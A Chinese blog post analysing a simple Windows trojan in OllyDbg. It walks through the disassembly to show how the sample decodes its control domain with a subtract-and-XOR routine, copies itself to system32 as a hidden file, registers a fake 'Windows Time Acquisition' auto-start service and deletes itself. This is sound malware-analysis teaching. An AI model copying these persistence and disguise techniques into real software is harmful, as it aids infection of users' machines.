欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

一个简单的木马分析

一个简单的木马分析

PS:处女贴,有什么不足的地方往大牛们不要喷。
今天在吾爱破解里面逛着看见一个木马分析帖子,帖子地址在www.52pojie.cn/thread-131075-1-1.html,作者是谁分析了一个简单的算法,也没说给仔细说出,索性自己分析一下。废话不多说,OD操练起来。
入口地址,不用多说,VC的 6.0的,PEID查壳也是、
0040458F >/$  55            push ebp
00404590  |.  8BEC          mov ebp,esp
00404592  |.  6A FF         push -0x1
00404594  |.  68 B0A14000   push fuckme.0040A1B0
00404599  |.  68 10444000   push fuckme.00404410                     ;  SE 处理程序安装
0040459E  |.  64:A1 0000000>mov eax,dword ptr fs:[0]
004045A4  |.  50            push eax
004045A5  |.  64:8925 00000>mov dword ptr fs:[0],esp
004045AC  |.  83EC 58       sub esp,0x58
004045AF  |.  53            push ebx
004045B0  |.  56            push esi
004045B1  |.  57            push edi
004045B2  |.  8965 E8       mov [local.6],esp
004045B5  |.  FF15 F4A04000 call dword ptr ds:[<&KERNEL32.GetVersion>;  kernel32.GetVersion
F8往下走,00404658  |.  E8 F3D5FFFF   call fuckme.00401C50     进去
0040464B  |> \50            push eax
0040464C  |.  FF75 9C       push [local.25]
0040464F  |.  56            push esi
00404650  |.  56            push esi                                 ; /pModule
00404651  |.  FF15 D4A04000 call dword ptr ds:[<&KERNEL32.GetModuleH>; \GetModuleHandleA
00404657  |.  50            push eax
00404658  |.  E8 F3D5FFFF   call fuckme.00401C50     进去喽
0040465D  |.  8945 A0       mov [local.24],eax
00404660  |.  50            push eax
00404661  |.  E8 37FBFFFF   call fuckme.0040419D
00404666  |.  8B45 EC       mov eax,[local.5]
F7进去如下,这里说明一下,00401C54   push fuckme.0040B2F0      ;  ASCII "Q@VQ"这里的ASCII码会在下面 00401C59 call fuckme.004023B0这个CALL中解密,显示TEST,汗,就是测试一下,没有意义。 ASCII "qu{{sisirr.;;::.ozg" 这个会在下面的00401C75  |.  E8 A6FFFFFF   call fuckme.00401C20 CALL里面解密,原分析者分析了这个,F7进去看看作者是怎么解密的,在下面还有一个CALL,我们也进去看看,这个CALL是在注册表中检测系统是否已经添加了叫window time Acquisition的服务,即系统是否被感染过,若没有感染就会跳过,因为是第一次分析所以没有感染,即跳过。下面会分析。
00401C50  /$  83EC 10       sub esp,0x10
00401C53  |.  57            push edi
00401C54  |.  68 F0B24000   push fuckme.0040B2F0  ;  ASCII "Q@VQ"
00401C59  |.  E8 52070000  call fuckme.004023B0  加密上面的ASCII 为“TEST”
00401C5E  |.  BF D0B14000   mov edi,fuckme.0040B1D0       ;  ASCII "qu{{sisirr.;;::.ozg"
00401C63  |.  83C9 FF       or ecx,-0x1
00401C66  |.  33C0          xor eax,eax
00401C68  |.  6A 05         push 0x5
00401C6A  |.  F2:AE         repne scas byte ptr es:[edi]
00401C6C  |.  F7D1          not ecx
00401C6E  |.  49            dec ecx
00401C6F  |.  51            push ecx
00401C70  |.  68 D0B14000   push fuckme.0040B1D0                     ;  ASCII "qu{{sisirr.;;::.ozg"
00401C75  |.  E8 A6FFFFFF   call fuckme.00401C20   F7进去为解密算法
00401C7A  |.  83C4 10       add esp,0x10
00401C7D  |.  E8 7E000000   call fuckme.00401D00   F7进去
00401C82  |.  85C0          test eax,eax
00401C84  |.  5F            pop edi
00401C85  |.  74 43         je short fuckme.00401CCA 没有被感染跳过
00401C87  |.  E8 D4230000   call fuckme.00404060
00401C8C  |.  85C0          test eax,eax
00401C8E  |.  75 2B         jnz short fuckme.00401CBB
00401C90  |.  894424 08     mov dword ptr ss:[esp+0x8],eax
00401C94  |.  894424 0C     mov dword ptr ss:[esp+0xC],eax
00401C98  |.  8D4424 00     lea eax,dword ptr ss:[esp]
00401C9C  |.  C74424 00 30B>mov dword ptr ss:[esp],fuckme.0040B030   ;  ASCII "Windows Time Acquisition"
00401CA4  |.  50            push eax                                 ; /pServiceTable
00401CA5  |.  C74424 08 A01>mov dword ptr ss:[esp+0x8],fuckme.004018>; |
00401CAD  |.  FF15 1CA04000 call dword ptr ds:[<&ADVAPI32.StartServi>; \StartServiceCtrlDispatcherA
F7进来会看见,下面的就是解密算法了,加密算法是这样的,将字符串的各个字符减去6(在我这里是,不知道你们那里是什么,即dl的值)得值在与6异或返回到在返回到原来的字符串中,解密后为ASCII "misskekejj.3322.org"

00401C20  /$  8B4424 0C     mov eax,dword ptr ss:[esp+0xC]
00401C24  |.  B9 FE000000   mov ecx,0xFE
00401C29  |.  25 FF000000   and eax,0xFF
00401C2E  |.  56            push esi
00401C2F  |.  99            cdq
00401C30  |.  F7F9          idiv ecx
00401C32  |.  8B7424 0C     mov esi,dword ptr ss:[esp+0xC]
00401C36  |.  FEC2          inc dl
00401C38  |.  85F6          test esi,esi
00401C3A  |.  76 10         jbe short fuckme.00401C4C
00401C3C  |.  8B4424 08     mov eax,dword ptr ss:[esp+0x8]
00401C40  |>  8A08          /mov cl,byte ptr ds:[eax]
00401C42  |.  2ACA          |sub cl,dl
00401C44  |.  32CA          |xor cl,dl
00401C46  |.  8808          |mov byte ptr ds:[eax],cl
00401C48  |.  40            |inc eax
00401C49  |.  4E            |dec esi
00401C4A  |.^ 75 F4         \jnz short fuckme.00401C40 //算法
00401C4C  |>  5E            pop esi
00401C4D  \.  C3            retn
没有感染会跳到这里,3个PUSH 为3个参数,下面的CALL为就是程序的核心CALL,F7进去,下面的call fuckme.00401AA0这个函数就是使用CMD命令删除本事,开启一个挂起进程,然后恢复,删除自身程序。简单就不说了,病毒木马通用的一招,然后下面的就是退出程序了。
00401CCA  |> \68 D0B04000   push fuckme.0040B0D0
00401CCF  |.  68 50B04000   push fuckme.0040B050                     ;  ASCII "Windows Time Acquisition"
00401CD4  |.  68 30B04000   push fuckme.0040B030                     ;  ASCII "Windows Time Acquisition"
00401CD9  |.  E8 C2000000   call fuckme.00401DA0  重要CALL F7进去
00401CDE  |.  A1 C4DF4000   mov eax,dword ptr ds:[0x40DFC4]
00401CE3  |.  83C4 0C       add esp,0xC
00401CE6  |.  85C0          test eax,eax
00401CE8  |.^ 74 C9         je short fuckme.00401CB3
00401CEA  |.  E8 B1FDFFFF   call fuckme.00401AA0     CMD命令,建立进程删除本事的CALL,简单就不说了,病毒木马通用的一招
00401CEF  |.  6A 00         push 0x0
00401CF1  |.  E8 A7240000   call fuckme.0040419D  这个CALL就是关闭程序的。到此就结束了
00401CF6  |.  90            nop
00401CF7  |.  90            nop
F7 进去后如下,下面一一分析,首先程序获得了自己的路径,又获取了系统的路径(哼,肯定不会干好事),然后调用了同一个CALL好几次,感觉不重要,略过(其实是没分析),再下面会调用一个wsprintfA函数,就出现了一个aaaaa.exe字符串(在堆栈中会有),然后经过一大堆代价,其实就是把系统目录和aaaaa.exe拼接在一起,即C:\WINDOWS\system32\aaaaa.exe,就是为下面的函数做参数用,紧随其后的就是一个copyfile的一个函数,将本身copy到C:\WINDOWS\system32\aaaaa.exe,随后,在此目录下会有一个aaaaa.exe文件, 然后调用SetFileAttributesA函数,将aaaaa.exe文件设置成隐藏,系统属性,在往下走调用.OpenSCManagerA打开服务控制管理器,下面就是创建一个以aaaaa.exe为启动文件的服务,服务名称和显示名称都为window time Acquisition,这也就是为什么上面那个会搜索这个的原因,然后打开、启动这个服务,又开始一大堆代码其实也是拼接,结果为 SYSTEM\CurrentControlSet\Services\Windows Time Acquisition,就是为下面的函数做参数用,下面就是打开这个注册表,然后为这个服务添加描述Description,为从 WMI HiPerf  提供程序提供性能库信息,服务项就没有了,后面的CALL就是关闭的东西,关闭注册表,和服务。这个CALL就分析完了

00401DA0  /$  55            push ebp
00401DA1  |.  8BEC          mov ebp,esp
00401DA3  |.  6A FF         push -0x1
00401DA5  |.  68 A0A14000   push fuckme.0040A1A0
00401DAA  |.  68 10444000   push fuckme.00404410                     ;  SE 处理程序安装
00401DAF  |.  64:A1 0000000>mov eax,dword ptr fs:[0]
00401DB5  |.  50            push eax
00401DB6  |.  64:8925 00000>mov dword ptr fs:[0],esp
00401DBD  |.  81EC 70030000 sub esp,0x370
00401DC3  |.  53            push ebx
00401DC4  |.  56            push esi
00401DC5  |.  57            push edi
00401DC6  |.  68 04010000   push 0x104        ; /BufSize = 104 (260.)
00401DCB  |.  8D85 D8FCFFFF lea eax,[local.202]     ; |
00401DD1  |.  50            push eax                                 ; |PathBuffer
00401DD2  |.  33DB          xor ebx,ebx          ; |
00401DD4  |.  53            push ebx                                 ; |hModule => NULL
00401DD5  |.  FF15 80A04000 call dword ptr ds:[<&KERNEL32.GetModuleF>; \GetModuleFileNameA  获取程序路径
00401DDB  |.  68 04010000   push 0x104                               ; /BufSize = 104 (260.)
00401DE0  |.  8D8D E0FDFFFF lea ecx,[local.136]                      ; |
00401DE6  |.  51            push ecx                                 ; |Buffer
00401DE7  |.  FF15 44A04000 call dword ptr ds:[<&KERNEL32.GetSystemD>; \GetSystemDirectoryA  获取系统路径
00401DED  |.  8DBD E0FDFFFF lea edi,[local.136]
00401DF3  |.  83C9 FF       or ecx,-0x1
00401DF6  |.  33C0          xor eax,eax
00401DF8  |.  F2:AE         repne scas byte ptr es:[edi]
00401DFA  |.  F7D1          not ecx
00401DFC  |.  49            dec ecx
00401DFD  |.  51            push ecx
00401DFE  |.  8D95 D8FCFFFF lea edx,[local.202]
00401E04  |.  52            push edx
00401E05  |.  8D85 E0FDFFFF lea eax,[local.136]
00401E0B  |.  50            push eax
00401E0C  |.  E8 CF240000   call fuckme.004042E0
00401E11  |.  83C4 0C       add esp,0xC
00401E14  |.  85C0          test eax,eax
00401E16  |.  0F84 0F010000 je fuckme.00401F2B
00401E1C  |.  6A 1A         push 0x1A
00401E1E  |.  E8 2D060000   call fuckme.00402450
00401E23  |.  83C4 04       add esp,0x4
00401E26  |.  83C0 61       add eax,0x61
00401E29  |.  50            push eax
00401E2A  |.  6A 1A         push 0x1A
00401E2C  |.  E8 1F060000   call fuckme.00402450
00401E31  |.  83C4 04       add esp,0x4
00401E34  |.  83C0 61       add eax,0x61
00401E37  |.  50            push eax
00401E38  |.  6A 1A         push 0x1A
00401E3A  |.  E8 11060000   call fuckme.00402450
00401E3F  |.  83C4 04       add esp,0x4
00401E42  |.  83C0 61       add eax,0x61
00401E45  |.  50            push eax
00401E46  |.  6A 1A         push 0x1A
00401E48  |.  E8 03060000   call fuckme.00402450
00401E4D  |.  83C4 04       add esp,0x4
00401E50  |.  83C0 61       add eax,0x61
00401E53  |.  50            push eax
00401E54  |.  6A 1A         push 0x1A
00401E56  |.  E8 F5050000   call fuckme.00402450
00401E5B  |.  83C4 04       add esp,0x4
00401E5E  |.  83C0 61       add eax,0x61                             ; |
00401E61  |.  50            push eax                                 ; |<%c>
00401E62  |.  68 2CB34000   push fuckme.0040B32C                     ; |Format = "%c%c%c%c%c.exe"
00401E67  |.  8D8D 80FCFFFF lea ecx,[local.224]                      ; |
00401E6D  |.  51            push ecx                                 ; |s
00401E6E  |.  FF15 5CA14000 call dword ptr ds:[<&USER32.wsprintfA>]  ; \wsprintfA   堆栈红出现aaaaa.exe字符
00401E74  |.  83C4 1C       add esp,0x1C
00401E77  |.  8D95 E0FDFFFF lea edx,[local.136]
00401E7D  |.  BF 28B34000   mov edi,fuckme.0040B328
00401E82  |.  83C9 FF       or ecx,-0x1
00401E85  |.  33C0          xor eax,eax
00401E87  |.  F2:AE         repne scas byte ptr es:[edi]
00401E89  |.  F7D1          not ecx
00401E8B  |.  2BF9          sub edi,ecx
00401E8D  |.  8BF7          mov esi,edi
00401E8F  |.  8BFA          mov edi,edx
00401E91  |.  8BD1          mov edx,ecx
00401E93  |.  83C9 FF       or ecx,-0x1
00401E96  |.  F2:AE         repne scas byte ptr es:[edi]
00401E98  |.  4F            dec edi
00401E99  |.  8BCA          mov ecx,edx
00401E9B  |.  C1E9 02       shr ecx,0x2
00401E9E  |.  F3:A5         rep movs dword ptr es:[edi],dword ptr ds>
00401EA0  |.  8BCA          mov ecx,edx
00401EA2  |.  83E1 03       and ecx,0x3
00401EA5  |.  F3:A4         rep movs byte ptr es:[edi],byte ptr ds:[>
00401EA7  |.  8DBD 80FCFFFF lea edi,[local.224]
00401EAD  |.  8D95 E0FDFFFF lea edx,[local.136]
00401EB3  |.  83C9 FF       or ecx,-0x1
00401EB6  |.  F2:AE         repne scas byte ptr es:[edi]
00401EB8  |.  F7D1          not ecx
00401EBA  |.  2BF9          sub edi,ecx
00401EBC  |.  8BF7          mov esi,edi
00401EBE  |.  8BFA          mov edi,edx
00401EC0  |.  8BD1          mov edx,ecx
00401EC2  |.  83C9 FF       or ecx,-0x1
00401EC5  |.  F2:AE         repne scas byte ptr es:[edi]
00401EC7  |.  4F            dec edi
00401EC8  |.  8BCA          mov ecx,edx
00401ECA  |.  C1E9 02       shr ecx,0x2
00401ECD  |.  F3:A5         rep movs dword ptr es:[edi],dword ptr ds>
00401ECF  |.  8BCA          mov ecx,edx
00401ED1  |.  83E1 03       and ecx,0x3
00401ED4  |.  F3:A4         rep movs byte ptr es:[edi],byte ptr ds:[>
00401ED6  |.  53            push ebx                                 ; /FailIfExists
00401ED7  |.  8D85 E0FDFFFF lea eax,[local.136]                      ; |
00401EDD  |.  50            push eax                                 ; |NewFileName
00401EDE  |.  8D8D D8FCFFFF lea ecx,[local.202]                      ; |
00401EE4  |.  51            push ecx                                 ; |ExistingFileName
00401EE5  |.  FF15 40A04000 call dword ptr ds:[<&KERNEL32.CopyFileA>>; \CopyFileA  拷贝文件到系统目录下面为aaaaa.exe文件
00401EEB  |.  B9 41000000   mov ecx,0x41
00401EF0  |.  33C0          xor eax,eax
00401EF2  |.  8DBD D8FCFFFF lea edi,[local.202]
00401EF8  |.  F3:AB         rep stos dword ptr es:[edi]
00401EFA  |.  8DBD E0FDFFFF lea edi,[local.136]
00401F00  |.  8D95 D8FCFFFF lea edx,[local.202]
00401F06  |.  83C9 FF       or ecx,-0x1
00401F09  |.  F2:AE         repne scas byte ptr es:[edi]
00401F0B  |.  F7D1          not ecx
00401F0D  |.  2BF9          sub edi,ecx
00401F0F  |.  8BC1          mov eax,ecx
00401F11  |.  8BF7          mov esi,edi
00401F13  |.  8BFA          mov edi,edx
00401F15  |.  C1E9 02       shr ecx,0x2
00401F18  |.  F3:A5         rep movs dword ptr es:[edi],dword ptr ds>
00401F1A  |.  8BC8          mov ecx,eax
00401F1C  |.  83E1 03       and ecx,0x3
00401F1F  |.  F3:A4         rep movs byte ptr es:[edi],byte ptr ds:[>
00401F21  |.  C705 C4DF4000>mov dword ptr ds:[0x40DFC4],0x1
00401F2B  |>  6A 06         push 0x6                                 ; /FileAttributes = HIDDEN|SYSTEM
00401F2D  |.  8D8D D8FCFFFF lea ecx,[local.202]                      ; |
00401F33  |.  51            push ecx                                 ; |FileName
00401F34  |.  FF15 84A04000 call dword ptr ds:[<&KERNEL32.SetFileAtt>; \SetFileAttributesA  设置aaaaa.exe文件为隐藏,系统属性
00401F3A  |.  899D DCFDFFFF mov [local.137],ebx
00401F40  |.  899D D0FCFFFF mov [local.204],ebx
00401F46  |.  33FF          xor edi,edi
00401F48  |.  89BD D4FCFFFF mov [local.203],edi
00401F4E  |.  897D FC       mov [local.1],edi
00401F51  |.  68 3F000F00   push 0xF003F
00401F56  |.  57            push edi
00401F57  |.  57            push edi
00401F58  |.  FF15 28A04000 call dword ptr ds:[<&ADVAPI32.OpenSCMana>;  ADVAPI32.OpenSCManagerA  打开服务控制管理器
00401F5E  |.  8BF0          mov esi,eax
00401F60  |.  89B5 D4FCFFFF mov [local.203],esi
00401F66  |.  3BF7          cmp esi,edi
00401F68  |.  0F84 10010000 je fuckme.0040207E
00401F6E  |.  57            push edi                                 ; /Password
00401F6F  |.  57            push edi                                 ; |ServiceStartName
00401F70  |.  57            push edi                                 ; |pDependencies
00401F71  |.  57            push edi                                 ; |pTagId
00401F72  |.  57            push edi                                 ; |LoadOrderGroup
00401F73  |.  8D95 D8FCFFFF lea edx,[local.202]                      ; |
00401F79  |.  52            push edx                                 ; |BinaryPathName
00401F7A  |.  57            push edi                                 ; |ErrorControl
00401F7B  |.  6A 02         push 0x2                                 ; |StartType = SERVICE_AUTO_START
00401F7D  |.  6A 10         push 0x10                                ; |ServiceType = SERVICE_WIN32_OWN_PROCESS
00401F7F  |.  68 FF010F00   push 0xF01FF                             ; |DesiredAccess = SERVICE_ALL_ACCESS
00401F84  |.  8B45 0C       mov eax,[arg.2]                          ; |
00401F87  |.  50            push eax                                 ; |DisplayName
00401F88  |.  8B7D 08       mov edi,[arg.1]                          ; |
00401F8B  |.  57            push edi                                 ; |ServiceName
00401F8C  |.  56            push esi                                 ; |hManager
00401F8D  |.  FF15 00A04000 call dword ptr ds:[<&ADVAPI32.CreateServ>; \CreateServiceA   创建一个以aaaaa.exe为启动文件的服务
00401F93  |.  8BD8          mov ebx,eax
00401F95  |.  899D D0FCFFFF mov [local.204],ebx
00401F9B  |.  85DB          test ebx,ebx
00401F9D  |.  75 35         jnz short fuckme.00401FD4
00401F9F  |.  FF15 3CA04000 call dword ptr ds:[<&KERNEL32.GetLastErr>; [GetLastError
00401FA5  |.  3D 31040000   cmp eax,0x431
00401FAA  |.  75 28         jnz short fuckme.00401FD4
00401FAC  |.  68 FF010F00   push 0xF01FF
00401FB1  |.  57            push edi
00401FB2  |.  56            push esi
00401FB3  |.  FF15 2CA04000 call dword ptr ds:[<&ADVAPI32.OpenServic>;  ADVAPI32.OpenServiceA  打开服务
00401FB9  |.  8BD8          mov ebx,eax
00401FBB  |.  899D D0FCFFFF mov [local.204],ebx
00401FC1  |.  85DB          test ebx,ebx
00401FC3  |.  0F84 B5000000 je fuckme.0040207E
00401FC9  |.  6A 00         push 0x0
00401FCB  |.  6A 00         push 0x0
00401FCD  |.  53            push ebx
00401FCE  |.  FF15 04A04000 call dword ptr ds:[<&ADVAPI32.StartServi>;  ADVAPI32.StartServiceA  启动这个服务(自启动类型)
00401FD4  |>  6A 00         push 0x0
00401FD6  |.  6A 00         push 0x0
00401FD8  |.  53            push ebx
00401FD9  |.  FF15 04A04000 call dword ptr ds:[<&ADVAPI32.StartServi>;  ADVAPI32.StartServiceA
00401FDF  |.  85C0          test eax,eax
00401FE1  |.  0F84 97000000 je fuckme.0040207E
00401FE7  |.  8D95 E4FEFFFF lea edx,[local.71]
00401FED  |.  BF F8B24000   mov edi,fuckme.0040B2F8                  ;  ASCII "SYSTEM\CurrentControlSet\Services\"
00401FF2  |.  83C9 FF       or ecx,-0x1
00401FF5  |.  33C0          xor eax,eax
00401FF7  |.  F2:AE         repne scas byte ptr es:[edi]
00401FF9  |.  F7D1          not ecx
00401FFB  |.  2BF9          sub edi,ecx
00401FFD  |.  8BC1          mov eax,ecx
00401FFF  |.  8BF7          mov esi,edi
00402001  |.  8BFA          mov edi,edx
00402003  |.  C1E9 02       shr ecx,0x2
00402006  |.  F3:A5         rep movs dword ptr es:[edi],dword ptr ds>
00402008  |.  8BC8          mov ecx,eax
0040200A  |.  83E1 03       and ecx,0x3
0040200D  |.  F3:A4         rep movs byte ptr es:[edi],byte ptr ds:[>
0040200F  |.  8D95 E4FEFFFF lea edx,[local.71]
00402015  |.  8B7D 08       mov edi,[arg.1]
00402018  |.  83C9 FF       or ecx,-0x1
0040201B  |.  33C0          xor eax,eax
0040201D  |.  F2:AE         repne scas byte ptr es:[edi]
0040201F  |.  F7D1          not ecx
00402021  |.  2BF9          sub edi,ecx
00402023  |.  8BF7          mov esi,edi
00402025  |.  8BFA          mov edi,edx
00402027  |.  8BD1          mov edx,ecx
00402029  |.  83C9 FF       or ecx,-0x1
0040202C  |.  F2:AE         repne scas byte ptr es:[edi]
0040202E  |.  4F            dec edi
0040202F  |.  8BCA          mov ecx,edx
00402031  |.  C1E9 02       shr ecx,0x2
00402034  |.  F3:A5         rep movs dword ptr es:[edi],dword ptr ds>
00402036  |.  8BCA          mov ecx,edx
00402038  |.  83E1 03       and ecx,0x3
0040203B  |.  F3:A4         rep movs byte ptr es:[edi],byte ptr ds:[>
0040203D  |.  8D85 DCFDFFFF lea eax,[local.137]
00402043  |.  50            push eax                                 ; /pHandle
00402044  |.  8D8D E4FEFFFF lea ecx,[local.71]                       ; |
0040204A  |.  51            push ecx                                 ; |Subkey
0040204B  |.  68 02000080   push 0x80000002                          ; |hKey = HKEY_LOCAL_MACHINE
00402050  |.  FF15 08A04000 call dword ptr ds:[<&ADVAPI32.RegOpenKey>; \RegOpenKeyA  设置注册表
00402056  |.  8B75 10       mov esi,[arg.3]
00402059  |.  56            push esi                                 ; /String
0040205A  |.  FF15 48A04000 call dword ptr ds:[<&KERNEL32.lstrlenA>] ; \lstrlenA
00402060  |.  50            push eax                                 ; /BufSize
00402061  |.  56            push esi                                 ; |Buffer
00402062  |.  6A 01         push 0x1                                 ; |ValueType = REG_SZ
00402064  |.  6A 00         push 0x0                                 ; |Reserved = 0
00402066  |.  68 1CB34000   push fuckme.0040B31C                     ; |ValueName = "Description"
0040206B  |.  8B95 DCFDFFFF mov edx,[local.137]                      ; |
00402071  |.  52            push edx                                 ; |hKey
00402072  |.  FF15 0CA04000 call dword ptr ds:[<&ADVAPI32.RegSetValu>; \RegSetValueExA  添加服务的描述信息,为从 WMI HiPerf  提供程序提供性能库信息。
00402078  |.  8BB5 D4FCFFFF mov esi,[local.203]
0040207E  |>  C745 FC FFFFF>mov [local.1],-0x1
00402085  |.  E8 1D000000   call fuckme.004020A7
0040208A  |.  8B4D F0       mov ecx,[local.4]
0040208D  |.  64:890D 00000>mov dword ptr fs:[0],ecx
00402094  |.  5F            pop edi
00402095  |.  5E            pop esi
00402096  |.  5B            pop ebx
00402097  |.  8BE5          mov esp,ebp
00402099  |.  5D            pop ebp

以上就是全部过程,这个是当没有被感染的的时候出现这种情况,分析的不好大家不要见怪,分析技术有限。还有一些感觉系统的东西判断该系统是xp还是2000还是win7。还有很多,先分析这些,有时间再分析。
当感染的了以后那个就不会跳,后面的我没怎么分析,大概可能也许会是这样创建了了一个显示名称为svchost.exe的进程,其实还是aaaaa.exe文件,只不过进程里面现实为svchost.exe,然后内存操作很多。没时间了就分析这些,以后在分析。
很多不足的地方请大牛多多指教。

上传的附件 病毒分析.rar

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功